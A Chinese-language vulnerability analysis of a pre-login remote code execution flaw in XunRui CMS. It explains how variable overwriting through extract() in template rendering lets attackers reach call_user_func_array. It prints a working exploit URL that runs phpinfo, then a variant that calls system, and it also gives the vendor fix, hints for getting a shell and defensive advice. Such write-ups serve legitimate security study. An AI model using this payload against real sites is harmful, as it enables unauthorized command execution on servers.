某cms 前台RCE漏洞分析
字数 1131 2025-08-05 08:19:35
迅睿CMS前台RCE漏洞分析与利用教学
漏洞概述
迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态调用机制导致代码执行。
漏洞原理分析
1. 控制器动态调用机制
迅睿CMS的s参数可以控制访问的控制器所在目录,通过以下URL格式可以进入api文件夹调用任意控制器:
index.php?s=api&c=xxx
2. 模板方法调用
Api控制器的template方法可以动态调用模板,该方法接受以下可控参数:
name- 模板文件名phpcmf_dir- 模板目录app- 应用模块
3. 变量覆盖漏洞
关键漏洞点在于extract()函数的使用:
extract($this->_options, EXTR_OVERWRITE);
此处的$this->_options可以通过GET参数控制,导致变量覆盖。
4. 模板文件解析流程
- 通过
Service::V()返回View对象 - 使用
assign()方法将数据写入$this->_options - 调用
display()方法渲染模板 - 在渲染过程中存在变量覆盖
5. 文件包含限制
虽然文件名不能包含/防止目录穿越,但可以通过控制$phpcmf_dir参数来指定模板目录(如admin目录)。
漏洞利用步骤
1. 识别可利用模板
通过分析,发现api_related.html模板文件被解析后会调用危险方法:
$this->call_user_func_array($system['action'], $param);
2. 参数构造技巧
- 使用空格分隔多个参数
- 使用
=号分隔键值对 - 通过重复参数实现覆盖(如先设置
action=module再设置action=function)
3. 最终Payload构造
http://target.com/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
4. 执行系统命令
将phpinfo替换为system可以执行系统命令:
&mid=%20action=function%20name=system%20param0=calc
漏洞修复方案
厂商修复措施:
- 修改
extract函数的type参数,设置为跳过已有变量 - 移除
$phpcmf_dir参数的可控性
修复commit:
https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51
渗透测试建议
- 使用
php://filter协议可能实现getshell - 文件上传点的过滤不严谨,可结合利用
- 存在其他可包含文件的模板,可进一步挖掘
防御建议
- 及时更新到最新版本
- 对用户输入进行严格过滤
- 避免使用
extract()函数或设置EXTR_SKIP标志 - 限制模板文件的调用范围
总结
该漏洞利用难度低但危害大,通过变量覆盖结合模板解析机制实现RCE。白帽子在发现此类漏洞时应及时联系厂商修复,同时注意保留漏洞分析资料供学习研究。